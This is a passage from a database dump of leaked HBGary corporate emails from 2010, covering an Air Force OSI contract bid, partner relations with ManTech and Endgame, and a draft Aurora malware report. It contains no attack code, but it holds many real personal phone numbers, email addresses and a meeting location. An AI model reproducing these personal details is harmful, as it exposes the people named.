email)\r\n>\r\n>\r\n>\r\n> From: James, Tami M (IS)\r\n> Sent: Thursday, January 28, 2010 2:08 PM\r\n> To: DL Information Systems IDIQ Distribution\r\n> Subject: Alliant AF OSI RFP Guardian Requirement\r\n>\r\n>\r\n>\r\n> Contract: Alliant\r\n>\r\n> Customer: Air Force\r\n>\r\n> Title: Guardian\r\n>\r\n> Type of Task Order: Cost Plus Fixed Fee\r\n>\r\n> Place of Performance: San Antonio, TX\r\n>\r\n> Period of Performance: One-Year Base Period plus one (1) option year\r\n>\r\n> Incumbent: Not identified\r\n>\r\n> Questions Due: 3:00 PM CST, 3 Feb 2010\r\n>\r\n> Proposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n>\r\n> Scope: This effort provides technical support to the Air Force Office \r\n> of Special Investigations (AFOSI) and other law enforcement\r\n> (LE) and counterintelligence (CI) organizations by designing and \r\n> constructing cyber capabilities that can be used to counter the enem \r\n> y\'s use of the Internet.  Additionally, this initiative will assist \r\n> Air Force Network Defenders and AFOSI Computer Crime Investigators (\r\n> CCIs) with the detection, containment, and collection, analysis, and  \r\n> reverse engineering of malicious logic. 1 The contractor shall deve \r\n> lop and enhance existing computer security technologies necessary to  \r\n> support LE/CI investigations and operations.\r\n>\r\n> Top Secret Security clearance required.\r\n>\r\n>\r\n>\r\n> NOTE:  If you have any questions please contact Susan Bethke \r\n> (Susan.Bethke@ngc.com\r\n> ) and Tami James (Tami.James@ngc.com)\r\n>\r\n> Please do not contact the customer or GSA regarding this opportunity.\r\n\r\n> All communications must be via the NG Alliant PMO.\r\n>\r\n>\r\n>\r\n> If interested in responding, please  by 2:00PM EST, Jan \r\n> 29, 2010\r\n>\r\n>\r\n>\r\n> Thank you,\r\n>\r\n>\r\n>\r\n> Tami M. James\r\n>\r\n> IDIQ Project Assistant\r\n>\r\n> IDIQ Solutions Team \r\n>  >\r\n>\r\n> Northrop Grumman IT\r\n>\r\n> 15010 Conference Center Dr.\r\n>\r\n> Chantilly, VA 20151\r\n>\r\n> Tel: 703-336-9134\r\n>\r\n>\r\n>\r\n> \r\n> \r\n> \r\n> \r\n> \r\n',4538,'aaron_hbgary_com/4538.html'),(1985,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000781.M502110P3547Q1985.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Resending for Aaron','Bob,the contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award. &nbsp;We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown. &nbsp;If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees. &nbsp;This opportunity is too much of a softball for us, we have to go for it. &nbsp;Very quick turn though, so any help will be appreciated.I am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.AaronOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:Ted and Aaron,\r\n&nbsp;\r\nThanks.&nbsp; I was able to read the docs.&nbsp; I skimmed them quickly tonight.&nbsp; Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n&nbsp;\r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n&nbsp;\r\nLet me know if you need me to commit work cycles to it.\r\n&nbsp;\r\nBob&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',749,'aaron_hbgary_com/749.html'),(1986,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000781.M724967P3547Q1986.eml','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@TASC.COM>,\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@TASC.COM>','Re: Alliant AF OSI RFP Guardian Requirement','Thanks.\r\n\r\nIn continued reading this opportunity is like a softball for us, so we are eager to pursue.  I met with Endgame today as well to discuss a tighter partnership.  With Endgame C2 capabilities and HBGary malware ability we will be able to make significant headway against threats.  On this opportunity as well as your existing work that Jose discussed with Ted we will be able to improve upon what is the current state of the art for malware analysis and incident response.\r\n\r\nAaron\r\n\r\n\r\nOn Feb 4, 2010, at 1:05 AM, Gutierrez, Daniel L (TASC Inc) wrote:\r\n\r\n> Still waiting to hear from Prime, hopefully tomorrow.\r\n> \r\n> I do understand that Jose and Ted had a good discussion today so\r\n> hopefully that will get some traction\r\n> \r\n> Dan\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, February 03, 2010 12:52 PM\r\n> To: Gutierrez, Daniel L (TASC Inc)\r\n> Cc: \r\n> Subject: Re: Alliant AF OSI RFP Guardian Requirement\r\n> \r\n> So what\'s the next step?\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 2, 2010, at 7:12 PM, \"Gutierrez, Daniel L (TASC Inc)\"\r\n> > wrote:\r\n> \r\n>> \r\n>> ________________________________\r\n>> \r\n>> From: Henderson, Van B (TASC Inc)\r\n>> To: Gutierrez, Daniel L (TASC Inc)\r\n>> Sent: Thu Jan 28 14:08:55 2010\r\n>> Subject: FW: Alliant AF OSI RFP Guardian Requirement\r\n>> \r\n>> \r\n>> \r\n>> If interested, I suspect the big question will be how do we get onto \r\n>> Alliant, given TASC does not hold that contract vehicle.\r\n>> \r\n>> \r\n>> \r\n>> Let me know if interested.........    I still get this info from NG\r\n>> until they figure out not to send to me.\r\n>> \r\n>> \r\n>> \r\n>> Van\r\n>> \r\n>> \r\n>> \r\n>> Van Henderson\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> TASC, Inc\r\n>> \r\n>> Director, Business Development\r\n>> \r\n>> 4807 Stonecroft Boulevard\r\n>> \r\n>> Chantilly, VA 20151\r\n>> \r\n>> (703) 449-3996 (voice)\r\n>> \r\n>> (703) 961-1781 (fax)\r\n>> \r\n>> (703) 365-4131 (pager)\r\n>> \r\n>> 7033654131@airmessage.net (mobile email)\r\n>> \r\n>> \r\n>> \r\n>> From: James, Tami M (IS)\r\n>> Sent: Thursday, January 28, 2010 2:08 PM\r\n>> To: DL Information Systems IDIQ Distribution\r\n>> Subject: Alliant AF OSI RFP Guardian Requirement\r\n>> \r\n>> \r\n>> \r\n>> Contract: Alliant\r\n>> \r\n>> Customer: Air Force\r\n>> \r\n>> Title: Guardian\r\n>> \r\n>> Type of Task Order: Cost Plus Fixed Fee\r\n>> \r\n>> Place of Performance: San Antonio, TX\r\n>> \r\n>> Period of Performance: One-Year Base Period plus one (1) option year\r\n>> \r\n>> Incumbent: Not identified\r\n>> \r\n>> Questions Due: 3:00 PM CST, 3 Feb 2010\r\n>> \r\n>> Proposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n>> \r\n>> Scope: This effort provides technical support to the Air Force Office \r\n>> of Special Investigations (AFOSI) and other law enforcement\r\n>> (LE) and counterintelligence (CI) organizations by designing and \r\n>> constructing cyber capabilities that can be used to counter the enem \r\n>> y\'s use of the Internet.  Additionally, this initiative will assist \r\n>> Air Force Network Defenders and AFOSI Computer Crime Investigators (\r\n>> CCIs) with the detection, containment, and collection, analysis, and  \r\n>> reverse engineering of malicious logic. 1 The contractor shall deve \r\n>> lop and enhance existing computer security technologies necessary to  \r\n>> support LE/CI investigations and operations.\r\n>> \r\n>> Top Secret Security clearance required.\r\n>> \r\n>> \r\n>> \r\n>> NOTE:  If you have any questions please contact Susan Bethke \r\n>> (Susan.Bethke@ngc.com\r\n>> ) and Tami James (Tami.James@ngc.com)\r\n>> \r\n>> Please do not contact the customer or GSA regarding this opportunity.\r\n> \r\n>> All communications must be via the NG Alliant PMO.\r\n>> \r\n>> \r\n>> \r\n>> If interested in responding, please  by 2:00PM EST, Jan \r\n>> 29, 2010\r\n>> \r\n>> \r\n>> \r\n>> Thank you,\r\n>> \r\n>> \r\n>> \r\n>> Tami M. James\r\n>> \r\n>> IDIQ Project Assistant\r\n>> \r\n>> IDIQ Solutions Team \r\n>> >> \r\n>> \r\n>> Northrop Grumman IT\r\n>> \r\n>> 15010 Conference Center Dr.\r\n>> \r\n>> Chantilly, VA 20151\r\n>> \r\n>> Tel: 703-336-9134\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13854,'aaron_hbgary_com/13854.html'),(1987,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000781.M936125P3547Q1987.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Resending for Aaron','Aaron,\r\n \r\nBeware of ManTech.  I consider them to be potential competitors.  (And I don&#39;t trust them based on past dealings.)\r\n \r\nAn existing awardee list is good news.  It could make things move faster.\r\n \r\nLet me know if you need my help.  If help you need is basically sales support for HBGary products, then perhaps Matt could be the one to assist.  HBGary sales team is organized as follows as it pertains to US gov&#39;t:\r\n\r\n- Matt - DoD\r\n- Maria - Civilian\r\n- Bob - Intel and gov&#39;t contractors.\r\n \r\nBob\r\nOn Thu, Feb 4, 2010 at 1:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nthe contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award.  We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown.  If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees.  This opportunity is too much of a softball for us, we have to go for it.  Very quick turn though, so any help will be appreciated.\r\n\r\n\r\nI am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:\r\n\r\nTed and Aaron,\r\n \r\nThanks.  I was able to read the docs.  I skimmed them quickly tonight.  Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n \r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n \r\nLet me know if you need me to commit work cycles to it.\r\n \r\nBob \r\n \r\n \r\n \r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',3443,'aaron_hbgary_com/3443.html'),(1988,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000782.M136578P3547Q1988.eml','\"Rich Cummings\" <rich@hbgary.com>','Meet','Rich,I am just down the road. &nbsp;I can meet at 8 or 830...you tell me. &nbsp;830 will only give us about 15min before we have to hit the road for Mantech.Can you bring a windows box?Lets meet at:Starbucks8381 Leesburg PikeVienna, VA 22182\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8917,'aaron_hbgary_com/8917.html'),(1989,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000782.M381429P3547Q1989.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: Responder and Digital DNA','Aaron,\r\n \r\nI think we&#39;re pretty much saying the same thing.  The feed processor has been mainly an ESX server with around 64 machines each running Flypaper (a predecessor to REcon) controlled by the command line interface. There is automated imaging of memory and DDNA is run on each memory image.\r\n\r\n \r\nIf they haven&#39;t done so already, they could tweak the setup to replace flypaper with REcon and include runtime data along wtih DDNA info.  To make it really snazzy they could add a web front end.  Then we would have a scalable set up to compete with Norman and CWSandbox.  This idea is already on HBGary&#39;s product wish list.  With gov&#39;t funding to add staff, maybe we could build it sooner.\r\n\r\n \r\nThe tech guys can fill in the blanks and correct details that I may have misrepresented.\r\n \r\nBob\r\nOn Thu, Feb 4, 2010 at 1:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan&#39;t we use the feed processor to do triaj, rack and stack as an initial step? \r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:29 AM, Bob Slapnik wrote:\r\n\r\nSounds like they want to analyze malware faster.  Could running REcon, especially running it automatically from the API command line interface, be used to speed things up?\r\n \r\nOn Wed, Feb 3, 2010 at 2:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAll,\r\n\r\nJose is part of the team Ted and I met with in Colorado.  They have some significant cyber programs in San Antonio.  They have around 20,000 potential malware samples that Ted is working to get a hold of from AF systems.  They are falling way behind.  If we can show value add quickly, get them caught up.  Jose feels confident they will bring us on contract to support.  Then we can do more sophisticated things operationally, palantir, threat intelligence, etc.\r\n\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Date: February 3, 2010 2:11:04 PM ESTTo: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSubject: Fwd: Responder and Digital DNA\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;Sandoval Jr, Jose (TASC Inc)&quot; &lt;jose.sandoval@TASC.COM&gt;Date: February 3, 2010 11:19:14 AM MST\r\nTo: &lt;ted@hbgary.com&gt;Cc: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;, &quot;Kamin, Karl V (TASC Inc)&quot; &lt;karl.kamin@TASC.COM&gt;, &quot;Powell, Patrick K (TASC Inc)&quot; &lt;patrick.powell@TASC.COM&gt;\r\nSubject: Responder and Digital DNA\r\n\r\n\r\n\r\nTed, thanks for taking the time today to talk to me about the two products that could help us do our job at the 92d.  I believe we already have the Digital DNA, but have had challenges on implementing it on our assessments.  Per our discussion, cc’d in this email is Karl Kamin and Patrick Powell.  Karl would probably be best at discussing our unique mission set and current approaches.  When I return back to work tomorrow, I plan on meeting with the team to discuss the technical issues and possible solutions.  Most importantly, if the customer will allow, I would like to send you the binaries we have to see what you will be able to produce out of that.  Zero day finds would be the proof we are looking for.\r\n\r\nThanks.  More to follow.\r\nJose Sandoval\r\n92 IOS Program Manager\r\n210-422-2046 (cell)\r\n210-925-2209 (site)\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',651,'aaron_hbgary_com/651.html'),(1990,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000782.M595253P3547Q1990.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Resending for Aaron','Bob,I understand your concerns. &nbsp;In the services space everyone is a potential competitor and a potential ally depending on the opportunity. &nbsp;I have strong business ties at Mantech at the highest levels of the company. &nbsp;Bill Varner and Larry Prior are about as straight as the come in this business and are very well respected for what they can deliver and how they conduct themselves. &nbsp;I don\'t know Alex as well (he is the VP that wanted me to be his deputy), but from what I have discerned so far he is of the same mindset.I will give Mantech some allowances because I believe they will be a strong ally on the services business, but I won\'t ignore the standard protocols and protective measures of business.You definitely have very strong feelings about Mantech, so I don\'t want to brush those aside and I respect your experience in these matters. &nbsp;But I also don\'t want to create an atmosphere amongst our folks that might dampen our potential relationship before we give them an opportunity.Please forgive me Bob, as the product side of things are new to me, again I think I missed the mark and should have invited you to this meeting, but I view this as a technical exchange to start rather than a sales call. &nbsp;I want Alex and his team to view us as potential partners and not just a potential vendor, so I don\'t want to get too steeped in a sales discussion at the onset but some of that would be good and I value your knowledge and perspective. &nbsp;You are more than welcome to join us tomorrow if you can make it. &nbsp;But if you do join us I just ask that you keep an open mind as to the current environment at Mantech.AaronOn Feb 4, 2010, at 1:23 AM, Bob Slapnik wrote:Aaron,\r\n&nbsp;\r\nBeware of ManTech.&nbsp; I consider them to be potential competitors.&nbsp; (And I don\'t trust them based on past dealings.)\r\n&nbsp;\r\nAn existing awardee list is good news.&nbsp; It could make things move faster.\r\n&nbsp;\r\nLet me know if you need my help.&nbsp; If help&nbsp;you need is basically sales support for HBGary products, then perhaps Matt could be the one to assist.&nbsp; HBGary sales team is organized as follows as it pertains to US gov\'t:\r\n\r\n- Matt - DoD\r\n- Maria - Civilian\r\n- Bob - Intel and gov\'t contractors.\r\n&nbsp;\r\nBob\r\nOn Thu, Feb 4, 2010 at 1:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nthe contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award. &nbsp;We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown. &nbsp;If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees. &nbsp;This opportunity is too much of a softball for us, we have to go for it. &nbsp;Very quick turn though, so any help will be appreciated.\r\n\r\n\r\nI am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:\r\n\r\nTed and Aaron,\r\n&nbsp;\r\nThanks.&nbsp; I was able to read the docs.&nbsp; I skimmed them quickly tonight.&nbsp; Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n&nbsp;\r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n&nbsp;\r\nLet me know if you need me to commit work cycles to it.\r\n&nbsp;\r\nBob&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10522,'aaron_hbgary_com/10522.html'),(1991,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000783.M547441P3547Q1991.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Responder and Digital DNA','This could be a huge win for us with the air force.On Feb 4, 2010, at 1:33 AM, Bob Slapnik wrote:Aaron,\r\n&nbsp;\r\nI think we\'re pretty much saying the same thing.&nbsp; The feed processor has been mainly an ESX server with around 64 machines each running Flypaper (a predecessor to REcon) controlled by the command line interface.&nbsp;There is automated imaging of memory and DDNA is run on each memory image.\r\n\r\n&nbsp;\r\nIf they haven\'t done so already, they could tweak the setup to replace flypaper with REcon and include runtime data along wtih DDNA info.&nbsp; To make it really snazzy they could add a web front end.&nbsp; Then we would have a scalable set up to compete with Norman and CWSandbox.&nbsp; This idea is already on HBGary\'s product wish list.&nbsp; With gov\'t funding to add staff, maybe we could build it sooner.\r\n\r\n&nbsp;\r\nThe tech guys can fill in the blanks and correct details that I may have misrepresented.\r\n&nbsp;\r\nBob\r\nOn Thu, Feb 4, 2010 at 1:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCan\'t we use the feed processor to do triaj, rack and stack as an initial step? \r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:29 AM, Bob Slapnik wrote:\r\n\r\nSounds like they want to analyze malware faster.&nbsp; Could running REcon, especially running it automatically from the API command line interface, be used to speed things up?\r\n&nbsp;\r\nOn Wed, Feb 3, 2010 at 2:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAll,\r\n\r\nJose is part of the team Ted and I met with in Colorado. &nbsp;They have some significant cyber programs in San Antonio. &nbsp;They have around 20,000 potential malware samples that Ted is working to get a hold of from AF systems. &nbsp;They are falling way behind. &nbsp;If we can show value add quickly, get them caught up. &nbsp;Jose feels confident they will bring us on contract to support. &nbsp;Then we can do more sophisticated things operationally, palantir, threat intelligence, etc.\r\n\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Date: February 3, 2010 2:11:04 PM ESTTo: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSubject: Fwd: Responder and Digital DNA\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: \"Sandoval Jr, Jose (TASC Inc)\" &lt;jose.sandoval@TASC.COM&gt;Date: February 3, 2010 11:19:14 AM MST\r\nTo: &lt;ted@hbgary.com&gt;Cc: \"Gutierrez, Daniel L (TASC Inc)\" &lt;daniel.gutierrez@TASC.COM&gt;, \"Kamin, Karl V (TASC Inc)\" &lt;karl.kamin@TASC.COM&gt;, \"Powell, Patrick K (TASC Inc)\" &lt;patrick.powell@TASC.COM&gt;\r\nSubject: Responder and Digital DNA\r\n\r\n\r\nTed, thanks for taking the time today to talk to me about the two products that could help us do our job at the 92d.&nbsp; I believe we already have the Digital DNA, but have had challenges on implementing it on our assessments.&nbsp; Per our discussion, cc’d in this email is Karl Kamin and Patrick Powell.&nbsp; Karl would probably be best at discussing our unique mission set and current approaches.&nbsp; When I return back to work tomorrow, I plan on meeting with the team to discuss the technical issues and possible solutions.&nbsp; Most importantly, if the customer will allow, I would like to send you the binaries we have to see what you will be able to produce out of that.&nbsp; Zero day finds would be the proof we are looking for.Thanks.&nbsp; More to follow.Jose Sandoval92 IOS Program Manager210-422-2046 (cell)210-925-2209 (site)\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6793,'aaron_hbgary_com/6793.html'),(1992,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000784.M446088P3547Q1992.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Resending for Aaron','If you can get revenue from ManTech and you are dealing with people there you trust, then go for it.  I have zero issue with doing services work with them.\r\n \r\nSpeaking only for myself (not you), I would be reluctant to put HBGary software in their hands.\r\n \r\n \r\n \r\nOn Thu, Feb 4, 2010 at 1:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nI understand your concerns.  In the services space everyone is a potential competitor and a potential ally depending on the opportunity.  I have strong business ties at Mantech at the highest levels of the company.  Bill Varner and Larry Prior are about as straight as the come in this business and are very well respected for what they can deliver and how they conduct themselves.  I don&#39;t know Alex as well (he is the VP that wanted me to be his deputy), but from what I have discerned so far he is of the same mindset.\r\n\r\n\r\nI will give Mantech some allowances because I believe they will be a strong ally on the services business, but I won&#39;t ignore the standard protocols and protective measures of business.\r\n\r\nYou definitely have very strong feelings about Mantech, so I don&#39;t want to brush those aside and I respect your experience in these matters.  But I also don&#39;t want to create an atmosphere amongst our folks that might dampen our potential relationship before we give them an opportunity.\r\n\r\n\r\nPlease forgive me Bob, as the product side of things are new to me, again I think I missed the mark and should have invited you to this meeting, but I view this as a technical exchange to start rather than a sales call.  I want Alex and his team to view us as potential partners and not just a potential vendor, so I don&#39;t want to get too steeped in a sales discussion at the onset but some of that would be good and I value your knowledge and perspective.  You are more than welcome to join us tomorrow if you can make it.  But if you do join us I just ask that you keep an open mind as to the current environment at Mantech.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 1:23 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n \r\nBeware of ManTech.  I consider them to be potential competitors.  (And I don&#39;t trust them based on past dealings.)\r\n \r\nAn existing awardee list is good news.  It could make things move faster.\r\n \r\nLet me know if you need my help.  If help you need is basically sales support for HBGary products, then perhaps Matt could be the one to assist.  HBGary sales team is organized as follows as it pertains to US gov&#39;t:\r\n\r\n- Matt - DoD\r\n- Maria - Civilian\r\n- Bob - Intel and gov&#39;t contractors.\r\n \r\nBob\r\nOn Thu, Feb 4, 2010 at 1:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nthe contract vehicle is an IDIQ with an existing awardee list, so in order to bid we have to sub to someone that already has an award.  We were notified of this opportunity by TASC so we are going to give them a brief amount of time to work with their Prime, Macauley Brown.  If this does not bear fruit very soon we will seek another prime, maybe SRA or Mantech, both are awardees.  This opportunity is too much of a softball for us, we have to go for it.  Very quick turn though, so any help will be appreciated.\r\n\r\n\r\nI am going to bring up this opportunity to Mantech tomorrow and see if they are aware of it and if they are bidding on it.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:43 AM, Bob Slapnik wrote:\r\n\r\nTed and Aaron,\r\n \r\nThanks.  I was able to read the docs.  I skimmed them quickly tonight.  Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n \r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n \r\nLet me know if you need me to commit work cycles to it.\r\n \r\nBob \r\n \r\n \r\n \r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',4060,'aaron_hbgary_com/4060.html'),(1993,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000788.M738998P3547Q1993.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Fwd: DRAFT of DDR Report for Aurora','Matt,\r\n\r\nPlease keep this close hold as it is in draft.  Getting this down for Aurora is good but it is more the format and process, the right data that is most important so we can do this more quickly for the future events.\r\n\r\nI would love your comments and expertise on this.  I spoke with Chris and John from EndGame today, they have been working on their own Aurora report.  We combine our  reports, makes sense.  They do the C2, we do the Malware.  We need to get better at using Palantir, watching Greg, Rich, and Myself try to hammer through it without any training is a bit painful.\r\n\r\nI want to include 4 sections right at the front.  Social, C2, Vehicle, Remediation.  The essential information to understand the threat followed by indepth technical analysis.  Best way to digest is visual.  I see a Palantir chart in the Social, C2, and Vehicle sections.\r\n\r\nLets talk about this.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Greg Hoglund \r\n> Date: February 3, 2010 7:08:51 PM EST\r\n> To: Phil Wallisch , Rich Cummings , Marc Meunier , aaron@hbgary.com\r\n> Cc: penny@hbgary.com\r\n> Subject: DRAFT of DDR Report for Aurora\r\n> \r\n>  \r\n> The attached word doc is my DRAFT for this report.  Aaron, I would love to get Endgames to add some content to the RECENT ACTIVITY section.\r\n>  \r\n> We could have spent several more days tearing this thing apart.  Frankly, I need some current C&C servers and droppers.  Our sample is a few weeks old.  However, that said, there should be MORE than enough information in here to help DuPont understand that Aurora was not on the memory image they sent to us.\r\n>  \r\n> Shawn is preparing an innoculation shot, I want to deliver it to DuPont tommorow.  Marc, you might want to insert a short paragraph detailing how to use DG to remove that registry key and subsequent file.  I know DG can do this kind of thing.\r\n>  \r\n> Any additional data is welcome.  I want to make sure that DG is highlighted.  The Respond section at the end has plenty of room to talk about using DG to eliminate that malware off a machine.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8317,'aaron_hbgary_com/8317.html'),(1994,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000789.M225053P3547Q1994.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Resending for Aaron','Can you come tomorrow? &nbsp;Its at 9am. &nbsp;I will send the invite to you just in case.On Feb 4, 2010, at 1:51 AM, Bob Slapnik wrote:If you can get revenue from&nbsp;ManTech and you are dealing with people there you trust, then go for it.&nbsp; I have zero issue with doing services work with them.\r\n&nbsp;\r\nSpeaking only for myself (not you), I would be reluctant to put&nbsp;HBGary software in their hands.\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nOn Thu, Feb 4, 2010 at 1:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBob, \r\n\r\nI understand your concerns. &nbsp;In the services space everyone is a potential competitor and a potential ally depending on the opportunity. &nbsp;I 